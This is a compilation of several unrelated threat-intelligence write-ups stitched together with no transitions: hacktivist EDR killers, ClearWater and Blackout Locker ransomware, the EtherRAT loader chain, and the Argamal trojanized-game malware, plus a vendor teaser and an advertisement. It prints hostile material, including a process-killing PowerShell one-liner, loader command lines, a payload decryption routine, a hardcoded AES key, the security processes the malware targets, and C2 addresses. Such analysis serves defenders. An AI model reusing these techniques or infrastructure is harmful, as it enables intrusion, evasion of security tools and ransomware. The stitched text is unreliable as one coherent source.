During the investigation, we also came across target infrastructures running vulnerable versions of Microsoft Exchange where – much like the Sliver cases – SFX archives named WindowsServiceHelper.exe were discovered in the C:\Windows\System32\inetsrv\ directory. Once extracted, the archive executed an install.bat file.

Similar to the other archives of this type, the script uses the WinSW utility to install the malicious components. In this specific case, however, the primary payload is a file named svc.exe, which turns out to be an obfuscated backdoor written in VBS. Much like the deployment scripts used for the remote management utilities, the code of this setup BAT script was clearly put together with AI tools and features comments in Ukrainian.

The backdoor is essentially a textbook reverse shell. Its capabilities boil down to fetching commands from the C2 server at 45.150.109[.]2, executing them via cmd.exe, and piping the output back to the C2.

EDR killers

In their attacks, the threat actors deploy what are known as EDR killers: malicious tools designed to disable security software on the system. In the vast majority of cases, these utilities rely on the BYOVD technique.

On the hosts compromised during these hacktivist operations, we discovered samples named kil.exe and Killer.exe. These are modified versions of the public, Rust-based BYOVD project EDRKiller. The attackers streamlined the utility to act strictly as a client for the driver and expanded the hardcoded list of security processes to terminate. The sample targets the vulnerable Warsaw_PM driver, though it lacks the functionality to load the driver itself – the attackers drop it onto the system separately.

The general workflow plays out as follows:

1. In user mode, the program finds the PID of the target process.
2. It opens a handle to \\.\Warsaw_PM.
3. It constructs a buffer containing the target process’s PID.
4. It calls DeviceIoControl.
5. The driver executes the calls:
   • ZwOpenProcess;
   • ZwTerminateProcess.

The EDR killer continuously enumerates processes, repeatedly sending the IOCTL and terminating the target processes every single time they pop up.

Both kil.exe and Killer.exe share the exact same list of processes targeted for termination:

MsMpEng.exe, SenseIR.exe, SenseNdr.exe, SenseCncProxy.exe, SenseSampleUploader.exe, NisSrv.exe, avp.exe, kavfs.exe, bdagent.exe, bdservicehost.exe, vsserv.exe, AvastSvc.exe, AvastUI.exe, aswidsagent.exe, avgsvc.exe, mfemms.exe, mfefire.exe, mfevtps.exe, dwengine.exe, dwservice.exe, elastic-agent.exe, elastic-endpoint.exe, Sysmon.exe, wazuh-agent.exe, ipban.exe

Another utility used to kill security software processes is ghostdriver.exe, an unmodified build of the open-source project GhostDriver. In this case, the attackers simply pulled a version straight from GitHub and didn’t modify any of its code.

The tool operates through the following stages:

1. Identify target processes
   The program takes a list of process names (such as msmpeng.exe) via command-line arguments. If no list is specified, it falls back to a default set.
2. Enumerate system processes
   To locate PIDs, the tool relies on standard Windows APIs:
   • CreateToolhelp32Snapshot
   • Process32First
   • Process32Next
3. Generate a list of processes to kill.
4. Load the vulnerable driver
   This is the core phase of the utility’s operation. During this step:
   • The sys driver is written to disk.
   • A SERVICE_KERNEL_DRIVER type service is created.
   • The driver is kicked off via the Service Control Manager (SCM).

GhostDriver.sys is hardcoded inside the GhostDriver executable and is a binary driver known as RentDrv2 (BadRentdrv2).

It contains the CVE-2023-44976 vulnerability, which allows it to:

• Accept user-mode commands via DeviceIoControl.
• Perform operations on processes from kernel mode.
• Bypass security mechanisms, including Protected Process.

Upon execution, GhostDriver drops RentDrv2 to disk, loads it into the Windows kernel, and connects to it via the virtual device \\.\rentdrv2. The utility then issues command 0x22E010 to the driver, passing along the target process ID, and the driver terminates that process directly from kernel mode.

GhostDriver runs in a continuous loop. Every ~700 ms, it rescans for the target processes and sends out termination commands.

After the driver starts up, the utility attempts to delete the ghostdriver.sys file. To do this, it opens a file handle, uses the SetFileInformationByHandle WinAPI function to rename it to something like :GhostDriver, reopens the handle, and marks the file for deletion via FileDispositionInfo. Before wrapping up, it also tries to stop and remove the driver service, and delete the C:\rentdrv.log file where the driver writes its logs.

Example of the adversary command execution launching GhostDriver:

Current versions of Kaspersky products are resilient to these types of attacks: the utilities described in this post cannot terminate their processes.

Connection to the ClearWater ransomware

Alongside the previously described Mythic Apollo samples (C2: 77.72.85.62), backupagnt.exe loaders, and Panorama9 deployment scripts, we discovered a new ransomware strain named ClearWater across several compromised infrastructures. Written in C++ and compiled with GCC (MinGW), the sample is a 64-bit Windows executable. It features zero obfuscation; in fact, the binary wasn’t stripped of its DWARF debug information. This makes analyzing the sample significantly easier and points to either sloppiness or a lack of technical expertise on the developers’ part.

When executed, ClearWater logs its progress in a separate console window.

File encryption

Like most ransomware strains, ClearWater is a Trojan designed to locate and encrypt the victim’s files. The Trojan executable contains a hardcoded RSA-2048 primary public key in PEM format.

For every file it processes, the ransomware generates a new 32-byte key and a 12-byte nonce – though only 8 of those 12 bytes are actually used – and encrypts the file’s contents via the ChaCha20 symmetric algorithm. The ChaCha key is then RSA-encrypted and appended to a specific data structure at the end of the file. To pull this off, the malware leverages cryptographic implementations from the open-source libsodium library.

struct
{
	uint8_t label[4];			//'M', 'Y', 'E', 'K' marker
	uint32_t rsa_encr_size;		//size of RSA-encrypted data
	uint8_t rsa_encr_data[256];	//RSA-encrypted ChaCha key
};

The Trojan processes all files except those with a .txt extension. This approach can easily break installed software, as it blindly encrypts both libraries and executables; however, it does explicitly skip the system directory during its search. Encrypted files are additionally appended with the .clear extension. The malware scans for targets on local drives as well as SMB network shares, which it maps out by using the net view command.

Additional functionality

Within every directory it processes, the Trojan drops the attackers’ demands into a file named CLEARWATER_README.txt.

Additionally, by modifying the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key, the malware sets up a persistence mechanism that automatically opens the ransom note with notepad.exe on startup.

ClearWater is distributed inside a self-extracting archive. The extraction script runs in silent mode (GUIMode=”2″), escalates privileges via a UAC prompt, drops the Trojan at C:\ProgramData\ClearWater_x64.exe, and kicks it off. Once the ransomware finishes running, the SFX archive cleans up after itself and wipes the original archive (SelfDelete=”1″).

Alongside this script and the Trojan executable, the archive includes a BMP image. The ransomware sets this image as both the desktop wallpaper (by tweaking the HKEY_USERS\<…>\Control Panel\Desktop\Wallpaper registry key and calling SystemParametersInfoA with the SPI_SETDESKWALLPAPER parameter) and the lock screen background (by modifying the LockScreenImagePath and LockScreenImageUrl values under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP).

To complicate system recovery after the attack, ClearWater performs several actions typical of ransomware:

• Deletes shadow copies using the following commands:
  
• Wipes the backup catalog and disables Windows Restore:
  
• Removes restore points:
  
• Disables the system startup recovery option:
  

ClearWater also features a kill_all_non_whitelisted_processes() function designed to terminate active tasks, though it doesn’t actually call it during execution. This function leverages PowerShell to look up and kill any process whose name isn’t included in a hardcoded allowlist within the Trojan’s body. It uses the following PowerShell code to do this:

Get-Process|Where-Object{$w -notcontains $_.Name.ToLower()}|Stop-Process -Force

The exclusion list contains various essential system processes and breaks down as follows:

system, idle, smss, csrss, wininit, services, lsass, winlogon, svchost, explorer, dwm, shellexperiencehost, runtimebroker, trustedinstaller, tiworker, textinputhost, taskhostw, mousocoreworker, fontdrvhost, audiodg, sihost, spoolsv, taskeng, taskhost, searchui, securityhealthservice, startmenuexperiencehost, searchindexer, backgroundtaskhost, sppsvc, wmiprvse, wudfhost, vboxservice, vboxtray, vmtoolsd, vmwaretray, vboxguest, vmsrvc, vgauthservice, vmacthlp, qemud, qemu-ga, msdtc, searchprotocolhost, wlanext, dllhost, conhost, comppkgsrv, msmpeng, mssecflt, systemsettings, securityhealthsystray, nvtray, nvvsvc, ravbg64, igfxtray, igfxem, igfxcuiservice, igfxhk, igfxext

Updated Blackout Locker

In a previously published report (link in Russian) on collaborations between several hacktivist groups, we highlighted a tool called Blackout Locker. In late January 2026, the 4BID group ran a series of attacks against organizations in Russia using an updated version of this malware. This section breaks down the new version of Blackout Locker and covers its key characteristics uncovered during our analysis.

Rust dropper

The attackers use a dropper written in Rust to distribute Blackout Locker. Depending on the specific sample, the dropper first carries out a series of staging actions. It then writes the payload executable to …\Users\[USERNAME]\AppData\Local\Microsoft\[REDACTED].dat and swaps its extension to EXE by calling the Windows command prompt:

After that, it launches the renamed executable.

Blackout Locker

The primary tool deployed in the attacks in question is an updated version of Blackout Locker.

Our analysis revealed that the key difference in this new version is the addition of a screen locker component, which it drops and executes in tandem with the ransomware’s main background payload.

During the initial phase, the screen locker file is created under the following paths:

To launch the screen locker, several tasks are created:

The screen locker is also written to the following registry keys:

After this, two LNK files, SystemHelper.lnk and WindowsHelper.lnk, are created via PowerShell for subsequent execution:

• The first file is placed in the %PROFILEPATH%\All users\Start menu\Programs\Startup directory:
  
• The second file is placed in the %USERPROFILE%\Start menu\Programs\Startup directory:
  

As a result, a shortcut is created in the startup folder pointing to WindowsSystemHelper.exe located on the desktop. This ensures the screen locker appears every time the user logs in. Even if the victim enters the correct password into the locker window, it will keep popping back up; while the window itself closes after password entry, the corresponding task is never actually deleted.

Screen locker

During execution, Blackout Locker generates a file named README.txt, which the screen locker later references to pull the text displayed to the user. Some Blackout Locker samples drop a ransom note written in English:

On the lock screen, it may look like this:

Other samples deploy a ransom note in Russian:

If the program fails to read README.txt, it falls back to a hardcoded ransom message. If this fallback message is in Russian but the victim’s operating system lacks support for Cyrillic encodings, the loader’s on-screen output renders as garbled text.

Attack geography

The majority of the compromised infrastructures belong to Russian and Belarusian organizations, which aligns with the stated agenda of these hacker groups. However, for the first time, we identified victims in other countries with no relation to this agenda: Kazakhstan, the UAE, Syria, and Egypt. Within the network of a Kazakh aviation company, we detected multiple post-exploitation frameworks pointing to C2 servers at 77.72.85[.]62 and 185.221.153[.]121, traces of the Panorama9 and Tactical RMM platforms, and backupagnt.exe loaders. A similar footprint was observed in the infrastructure of an Egyptian hospital, though the familiar toolkit was augmented by the fd.aspx web shell. The remaining international victims exhibited a nearly identical combination of artifacts, with only minor variations.

While the primary targeting vector previously centered on Russia and Belarus, the threat actors now appear to be pivoting their attention toward the wider CIS region and the Middle East. This strategic shift correlates with a statement from a member of the 4BID group, who claimed that attacking Russia is no longer profitable.

Takeaways

The hacktivist groups discussed in this report are steadily expanding the geographical footprint of their campaigns, pushing beyond Russia and the wider CIS region. Alongside this expansion, we observe the growing use of ransomware and other tooling consistent with financially motivated operations, which may further influence their choice of victims.

This shift underscores the critical need for continuous threat landscape monitoring. To stay ahead of threat actors, organizations must look beyond the immediate risks facing their perimeter and proactively track emerging threats, including the tactics of groups targeting specific industry verticals or geographic regions.

Detection by Kaspersky solutions

Kaspersky solutions reliably detect the malicious activity in question at every stage of the malware lifecycle. This section outlines potential detection scenarios.
Publicly available dual-use software leaves numerous artifacts on targeted hosts, which helps Kaspersky Endpoint Detection and Response Expert trace the activity of these utilities.

For instance, network connections established with Panorama9 servers both during the initial software launch and throughout the tool’s operation trigger the panorama9_dns_activity rule. The Hunt Hub section of our TI Portal features detection rules for other event types and specific operating systems, searchable with the keyword panorama9. Similar rules exist for the other utilities described in this post: Tactical RMM, Nezha, and Dev tunnels.

GhostDriver.exe relies on an embedded vulnerable driver, which it drops onto the target host. The creation of these drivers is detected by the vuln_driver_created_by_unsigned_process rule family.

Ransomware is inherently quite noisy and so can be detected at various execution phases. The execution graph within Kaspersky Cloud Sandbox on our Threat Intelligence Portal visualizes the entire ClearWater execution chain, capturing key behaviors such as modifying the desktop wallpaper and deleting shadow copies.

Additionally, the Threat Lookup and Research Graph sections of Kaspersky Threat Intelligence Portal allow you to visualize and analyze the connections between the malicious domains and files used by the adversaries.

Monitoring network traffic is another highly effective method for detecting the malicious activity described here. Kaspersky Anti Targeted Attack (KATA) with the NDR module detects the network communications of all malware samples in question utilized throughout this campaign.

For instance, upon detecting HTTP network activity characteristic of the BlackSalt backdoor, the system triggers an alert for the Backdoor.BlackSalt.HTTP.C&C rule triggering.

Examples of using the Kaspersky Anti Targeted Attack (KATA) platform with the NDR module to detect other agents described here – along with their detailed technical analysis – are available in our dedicated reports on Adaptix and Mythic detection.

Indicators of compromise

Web shells
26100db3f56880110a92a2b4742d6eaf	fd.aspx
cf682a6fee80a78be578b1edd82627fa	fd.aspx
2d5533fb65ebb50a5a5fd53e62d73b9a	fd.aspx
fe04d230db612ea24af3826fda667131	fd.aspx
Scripts
2db94ee3ec69988588702bd77999a5d4	any_local.ps1
f88d2b5c3b885ad5a9c1c44551bccc60	main.ps1
1e1edf879b2dc6c9892a22bfa5985db1	main.ps1
78250fa890220821e2b91e31b965de59	main.ps1
f2af797ac45b9f578c53cc49e5797397	auto_dev.ps1
0c32bfdf83ecebe3a1399d261dc8ff57	auto_dev_test.ps1
e14cc9a959bbe16c48b8dff063b311f3	auto_dev_test_multimple_task.ps1
36b3be503c6e34613ff50cb28e0f3ddb	auto_dev_test_multimple_task.ps1
c12ebe625737ed0908b045e811f14ecd	tun.ps1, auto_dev_test_multimple_task.ps1
1c0924f5711a24821921de5ad822213b	grant.ps1
d78adab5e16c26d4cd14fe38f77e29e6	pan.ps1, pam.ps1
6cf548445c39aff844be96d73c89e376	test.ps1
911a21aa999c324dc960d3498eec528e	radiant.ps1
68e310de44c3165ffffa25bc495d6fc5
4f41a22b3e7469fb6b45a42d71ec7087
80e5bde401d6b0ca96015ae9cfeb6535
1c82a94c362a9e98a66ae57d6ff37900
fa04aeedc0d2f5bb6ed357fdae1c1435
AdaptixC2
555a6722436d7cf7de396e0c57d32a27
b974141ff9ad1efb60dd9e16977266ca
7da855b2fd9b52f9088e64d656164637
d08056c2ac28933d6843658c2c8c574f
038cab0c60c53cf12f048272014024c0
c183033d86d2e052b8eb0deb2136ab29
bc0ebf67986eea803b4c9633ed3a4bb5
18618f4b468ba4e64c2e1072a6da2134
1742a9fa35e253614b76ac0f687ba02e
c7eb6da3aa216816079a1b785097552a
3ee38b944e5c83922f99641846f7db0c
d8ff7f417d56fa2a3baf3c8933013a25
1ff222457f5e0e32adfa8341f260dde7
ede8ce887dd9ab7add0f0fc872d51369
1344e6bc51cea35befb4adff7a25899b
2a09162d72aa416e18bab46070043a13
841b7d3863b49f62d4faa9949ff5df38
1bd1ca848b15530e39792b4fe6f31367
Mythic Apollo
b36968b98046d1b033d84f292e7ca1cb
663a479d6d24c767f1d3229a0a91554b
54a308f734095d54ae0e1c86c849a2d8
3137958eb830186826d486afd9222aee
1d09499cb2d7d70df903b60602a58887
d74262f968dc3f378c4021a89d16a292
3d9cbc944f9a9e127550ffb4e8394965
bcd3859f4ddd72c4690d76c3b4ef8955
3a9b0875fc692944c180b165a83a0d17
c558e6a9d0a697c757aa6d7782e269c9
61647db645f7cc221046999ef1dbe1d1
02493e1cb684be6a1a1fc6334a56c516
a3dba01c76571adc0797801ff30f2b90
3f4fbba101b209b00e70787fd5bab819
cd0c5b9e4e47df4231d02ed87ff49f26
b8a13e808b5b5f1836d3e559755139d0
60f8b115aec8a13b0069efc84fc645f5
da55b5612a80ef20ec75b68151e7ff4b
7d35b4961914ad83a57f8832d8e870d8
334abbdc99d359aab2ea371dd4eda5f2
389a1bbdbf5c91bd1c179227f5ae0923
87d48fbccb4aaee95222e215ecb7ebec
76c819185e3c8b8557a2c3986ab80a7c
6d19c8eea11d50c01d20f18382a964d1
Other C2 frameworks
8db0adf8fd6dc6195d7ae55e37e49f97
08f3a14a2337eb9936c38f5159be007c
717ab7624c192f6f8dd38994116c28dc
d1c51b92939aa168f0951a8368841373
5398b7eaa94f0ee570b1c5642b559047
d65a79ea9257637c77cab6e087468912
008cd423ca45134d3343f66cced1d104
9741672506f26813c71839aaa6aa3882
06bed0a0906e52c764b3b7016d6a4428
upd.exe (SFX archive)
08c069f133ac27cbc02a0ed79e4e87ba	upd.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update1.exe (SFX archive)
10824d14c814524155f2b529cf5fee43	update1.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
242038139842ec79ec1044c64eb0804a	akolo.exe
53ba13cc6066adfd67f8098c0a5b8dde	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
update.exe (SFX archive)
84bb66a982710c5536143a07d84e8749	update.exe
a36082c998391a3ebaf05ba4f834172c	backupagnt.exe
9810ea6752112b3569ddc096e1a72e1d	sliver
akolo.exe (SFX archive)
fa3c222f6b53d6a2e35a54600f6aa011	akolo.exe
0b1870d57221eec6f3bbef648e71a724	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
akolo.exe (SFX archive)
4c8a0531653b5398a35c6b1b80ff1350	akolo.exe
83f66862c0cc40da20236fd6b47138fd	backupagnt.exe
5e81f72614db42615489266be11b1d09	sliver
[REDACTED].exe (SFX archive)
56be07e46fd452315008ed246ebbf52b	[REDACTED].exe
579e8bbd6a5bcca89b5acd6fb5db32db	backupagnt.exe
dd8fea244afc8223b961f1d9d6ac8c5d	Apollo
WindowsServiceHelper.exe (SFX archive)
09d0517a1f69feff8186655ae3b567e0	WindowsServiceHelper.exe
62123c39477389d500e74e82782adea5	BlackSalt Backdoor
winexe.exe (SFX archive)
6d365de5c5a13006b7cadd6bc6876e84	winexe.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
6dfef58ef68fb7965a23da8be3141af9	WindowsServiceHelper.exe
56d1de3159adbfda20aca593c99901f9	BlackSalt Backdoor
[REDACTED].exe (SFX archive)
96dbdc2651d829bf9ba35674dd4bfcae	[REDACTED].exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
test.exe (SFX archive)
9f37fff7e5d22f83fc1c0872ad5332f9	test.exe
cf54f6cbdb4dbf1ce6fc2e5be4ca3b20	BlackSalt Backdoor
1.exe (SFX archive)
e99efd77392e2b4fe4d9bf5728a12b98	1.exe
129225b3e93c17f131bcc2a982ffb09a	BlackSalt Backdoor
WindowsServiceHelper.exe (SFX archive)
f2dc794bf93887e281ad89209493065a	WindowsServiceHelper.exe
2f40bcee90abed0898e92521da17e52d	BlackSalt Backdoor
EDR killers
d13997b1716e4c82ab454285202eafdc	killer.exe, 2.exe
ecb57d8793514aa02314417265b1853f	kil.exe, 3.exe
3b974ff986445e5944c51179d19bd6be	GhostDriver.exe

Network indicators
212.46.12[.]182
185.221.153[.]121
77.72.85[.]62
45.150.109[.]2
130.49.155[.]112
45.112.194[.]82
138.226.236[.]52
85.137.253[.]186

Overview AhnLab monitored APT (Advanced Persistent Threat) attacks—covert, sustained targeted attacks—using its own infrastructure. This report summarizes the types and statistics on domestic APT attacks identified during the month of May 2026 and discusses the characteristics of each type as well as AhnLab Response Overview. Trends of APT Attacks in South Korea Most of the […]

During our recent threat hunting activities, we found EtherRAT malware being distributed by a website with a strange homepage. This homepage allowed us to discover a vast malicious infrastructure distributing malware, malicious documents, remote desktop software, and phishing pages. 

EtherRAT is a RAT developed in Node.js which allows an attacker to gain complete control over the machine and execute arbitrary code returned by the Command and Control (C2) server. The malware uses the Etherium blockchain to obtain the C2 server, hence the “Ether” part of the name. EtherRAT is typically distributed via MSI, PowerShell, or JavaScript scripts. 

An open directory that distributes EtherRAT: where it all began 

While threat hunting, we found an open directory that was distributing MSI installers and PowerShell scripts, which ultimately distributed EtherRAT. In the analyzed cases, the PowerShell scripts and MSI installers were distributed from a “/install” folder.  The versions have a progressive number, ranging from v1 to v10. 

The returned home page caught our attention and prompted us to further explore the campaign. 

Analyzing domains and associated IPs with the EtherRAT distribution, we detected other similar home pages with a hacking-style theme. They appeared to belong to a larger distribution chain, which also distributes phishing, remote control software, and other malware. These websites usually have several folders with malware and phishing related content, and what is displayed depends on the specific infection chain. 

Different websites that resolve to the same IP addresses have previously returned pages related to fake companies or default templates. The use of these new pages could therefore be a method to make detection more difficult for automated scanners or researchers.  Here are some of the home pages we found:

EtherRAT is an interesting RAT, as it has few lines of code and allows the execution of arbitrary code returned by the C2 server. Furthermore, using the Ethereum blockchain to obtain the C2 server makes it more resilient to infrastructure takedowns. 

Technical analysis of EtherRAT 

The detected websites usually distribute an MSI or PowerShell script with the version name, such as v1.msi, v2.ps1, and so on. 

MSI Loader 

The MSI file “v9.msi” contains three components: 

MSI Filename	Description
KmPuGimn.cmd	BAT launcher
cDQMlQAru0.xml	First Jscript loader
MRaQCipBIZeiZNx.log	Encrypted EtherRAT

When the MSI is executed, the “KmPuGimn.cmd” file is started: 

conhost --headless cmd /c "KmPuGimn.cmd" 

This obfuscated BAT file performs different operations: 

• Extracts the other files in a random folder in %LOCALAPPDATA%. 
• Re-executes itself via: 
  • %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa 
• Runs the command “where node” to find an existing installation. 
• Downloads Node.js if it’s not found 
  • Uses “curl -sLo” to download Node.js from the official website. 
  • Extracts to installation directory via “tar -xf”. 
  • Renames extracted directory to “28Q75h”.
• Loops until both “MRaQCipBIZeiZNx.log” and “cDQMlQAru0.xml” exist, then executes: 
  • conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml 

The executed “cDQMlQAru0.xml” is a loader that decrypts the embedded code with a XOR function and then executes it with “vm.compileFunction”. 

decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF 

The decrypted code: 

• Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”. 
• Adds a registry key for persistence with “conhost.exe –headless”. 
• Decrypts “MRaQCipBIZeiZNx.log” and executes it with “_MJlLlt5.exe” stdin. 

The decryption algorithm is a custom stream-like decoding routing based on XOR, byte rotations and an accumulator: 

for e in range(len(data)): 
    byte = data[e] 
    g = prev 
    prev = byte 
    byte = (byte - g) & 0xff 
    byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff) 
    byte = si[byte] 
    byte = (byte - k[e % len(k)]) & 0xff
    result[e] = byte 

The final stage is to deploy EtherRAT. EtherRAT allows the attacker to: 

• Execute arbitrary JavaScript code received by the C2 server. This allows the attacker to execute new commands, perform operations on files and folders, modify the registry, and exfiltrate data. 
• Get a new C2 server using the Ethereum blockchain. 
• Reobfuscate itself. 
• Save the logs to “svchost.log”. 

The EtherRAT uses Ethereum’s “eth_call” JSON-RPC method to retrieve the active C2 URL from a smart contract on the Ethereum mainnet.  

The blockchain parameters in this case are: 

• Contract: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 
• Function selector: 0x7d434425 
• Argument: 0xf6a772e163e64b07f658946f863b5d457d88f9f0 

The contacted URLs to obtain the C2 server endpoint are: 

• mainnet[.]gateway[.]tenderly[.]co 
• rpc[.]flashbots[.]net/fast 
• rpc[.]mevblocker[.]io 
• eth-mainnet[.]public[.]blastapi[.]io 
• ethereum-rpc[.]publicnode[.]com 
• eth[.]drpc[.]org 
• eth[.]merkle[.]io 

Polling requests use randomized URL patterns based on some parameters defined in the code: 

GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id> 
X-Bot-Server: <c2_url> 

In the analyzed sample, the parameters are: 

• Build ID: “6f816d80-0d6c-4384-9cd6-6b79965fc08f” 
• ext: randomly selected from “png”, “jpg”, “gif”, “css”, “ico”, “webp”. 
• param: randomly selected from “id”, “token”, “key”, “b”, “q”, “s”, “v”. 

After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash. 

POST /api/[REOBF_PATH]/<victim-uuid> 
Body: { "code": "<current_script_contents>", "build": "<build_id>" } 

After the EtherRAT execution, we observed different post-compromised cmd.exe activities to check the environment. For example: 

• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
• reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid 
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain” 
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain” 
• cmd.exe /d /s /c “net session” 

PowerShell Loader 

The activities performed by the PowerShell loaders are very similar to the last stage of the JS script of the MSI installer: 

• Downloads Node.js if it’s not present. 
• Create the necessary directories. 
• Decode the EtherRAT with a custom decryption algorithm. 
• Execute Node.js with conhost.exe and the decrypted EtherRAT payload. 

We detected some variants of the PowerShell loader hosted on these websites; namely that the functions’ names and the decryption functions change in the analyzed PowerShell scripts. 

Tracking the malicious infrastructure 

When we analyzed the different websites with the “hacking-theme” pages, we found that in the past many had hosted multiple phishing pages in some specific paths. For example: 

• /zht/sharep-redirect.html 
• /bl/me.php 
• /t/teams 
• /teams/Windows/invite.php 

It seems that these domains and IPs are actually part of a much larger infrastructure that distributes malware, phishing, malicious documents, and remote software. It is possible that these infrastructures are shared by multiple threat actors who activate different URL endpoints based on the specific campaign. 

Interestingly, the majority of the domains related to this malicious infrastructure in the past also returned an HTML page related to a “Bulletproof Infrastructure” service.  

We found that these phishing campaigns typically start via emails with documents attached, such as PDF or Excel files. These documents ask the user to click a link to view another document. Below are two examples of the phishing documents attached to the emails:

These phishing pages typically ask the user to enter their email address, then continue the infection chain and distribute phishing or malware pages.  Below are some of the phishing pages detected within the malicious infrastructure:

Misconfigurations exposed the phishing kits 

While tracking malicious websites, we found one with an open directory containing part of the phishing kit used in the campaigns. 

 

The open directory contained several folders with code and pages related to the phishing campaigns. 

Additionally, some domains were misconfigured and allowed the download of “cl.zip”, which contained the source code for the “URL Cloaker” pages. 

Indicators of Compromise (IOCs)  

IPs 

82[.]165[.]65[.]244: malicious infrastructure  

185[.]221[.]216[.]121: malicious infrastructure  

43[.]163[.]233[.]166: malicious infrastructure  

40[.]160[.]238[.]30: malicious infrastructure  

159[.]89[.]227[.]204: malicious infrastructure  

57[.]128[.]31[.]168: malicious infrastructure  

Domains 

ivorilla[.]cloud: EtherRAT distribution  

mx[.]nrlwz[.]com: EtherRAT distribution  

dn[.]eyqwj[.]com: EtherRAT distribution  

bi[.]mkrjcsw[.]com: EtherRAT distribution  

dorqen[.]casa: EtherRAT distribution  

kelvra[.]club: EtherRAT distribution  

cambioefectivo[.]com: EtherRAT C2  

vabelles[.]com: EtherRAT C2  

tranzed[.]org: EtherRAT C2  

kibrisarazi[.]com: EtherRAT C2  

aravisblog[.]com: EtherRAT C2  

publicspeakingtip[.]org: EtherRAT C2  

Acknowledgements 

• EtherRAT: https://atos.net/en/lp/cybershield/etherrat-distribution-spoofing-administrative-tools-via-github-facades 

• SharePoint reference: https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest 

---

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

In April 2026, we discovered a new malware campaign targeting players of “hentai” games. Once launched, the infected games install a previously unknown malicious implant on the user’s machine. After a few days, the implant downloads and executes a Trojan, resulting in full system compromise and broad remote control capabilities for the attackers. We dubbed this malware family “Argamal”.

The malware uses COM hijacking to persist on the victim’s machine, replacing the InprocServer32 entry for Windows Color System Calibration Loader DLL. This task is triggered when the user logs in, effectively allowing the malware to run at startup.

Kaspersky solutions detect this threat as Trojan.Win32.Termixia.*, Trojan.Win32.Agent.*, HEUR:Trojan.Win32.Argamal.gen and HEUR:Trojan-Downloader.Win32.Argamal.gen.

Technical details

Background

In April, as part of our ongoing monitoring of telemetry data, we found some suspicious DLLs. Further analysis revealed that various versions of these DLLs have existed since at least 2024.

The DLLs were spawned by different games written using various game engines and programming languages, including RenPy (Python) and RPG Maker MV (JavaScript), among others. However, they all had one thing in common: they were all hentai games. We searched for the distribution sources and found a number of websites hosting game screenshots and download links. These links redirected users to PixelDrain, a free file transfer service.

In addition to these websites, the trojanized games have also been distributed via different torrent trackers, including AniRena.

Delivery

Both the dedicated websites and torrents delivered an archive containing the infected game.

This archive contained fully functional, legitimate game files, as well as a modified FFmpeg DLL (SHA1: 42add9475e67a1ccc6a6af94b5475d3defc01b85), that imported the DllGetClassObject function from a file called natives2_blob.bin. Since the game needs ffmpeg.dll to run properly, the library loads as soon as the user starts the game.

Script executor

The natives2_blob.bin (SHA1: edce72f59e4c1d136cd1946af70d334c19df858d) file is a DLL that executes a Base64-encoded PowerShell script when loaded.

This PowerShell script, which we’ll call Stage1, performs basic checks for controlled environments. For example, it checks for the Sandboxie folder in Program Files and Procmon64 in the process list. If all the checks indicate that the process is not running in a controlled environment, it proceeds to establish persistence.

Stage1 sets the MI_V environment variable (and also MI_V2 in the new versions of malware) for the current user to another Base64-encoded PowerShell script, which we’ll call Stage2. After that, it sets the InprocServer32 registry key at HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} to a random DLL file name in a random subdirectory of %USER%\AppData\Local, as well as the ShellFolder subkey to another random DLL file name in the same location. Stage1 also creates a scheduled task that will execute three days later. This task executes Stage2 and runs once.

Stage2 is a payload downloader script. It takes previously generated DLL filenames from the registry and downloads an encrypted payload called zaesdl.dat from GitHub using bitsadmin.exe. The downloaded payload is saved in the settings.dat file in the randomly chosen subdirectory of %USER%\AppData\Local. Stage2 decrypts it using AES-CBC with the key zbcd1j9234r670eh and an IV equal to the key. The decrypted payload is then saved in the DLL file specified in the ShellFolder registry subkey.

The decrypted payload is set as InprocServer32 at HKCU\SOFTWARE\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}, which is a COM object used by the \Microsoft\Windows\WindowsColorSystem\Calibration Loader scheduled task. This task runs every time a user logs in, allowing the malware to run during every user session.

Before quitting, Stage2 also removes the changes made under the HKCU\SOFTWARE\Classes\CLSID\{722D0F89-B69C-4700-AE8C-4A44350E4876} registry key, unsets the MI_V environment variable (and MI_V2 in newer versions), and removes the scheduled task that launched Stage2.

Malicious agent

Early payload versions decrypted themselves using the 0xB0C1D4E9 rolling XOR key, where the decryption key for the i + 1 block is the encrypted content of the i block (each encrypted block being four bytes long). The most recent agent versions don’t do that.

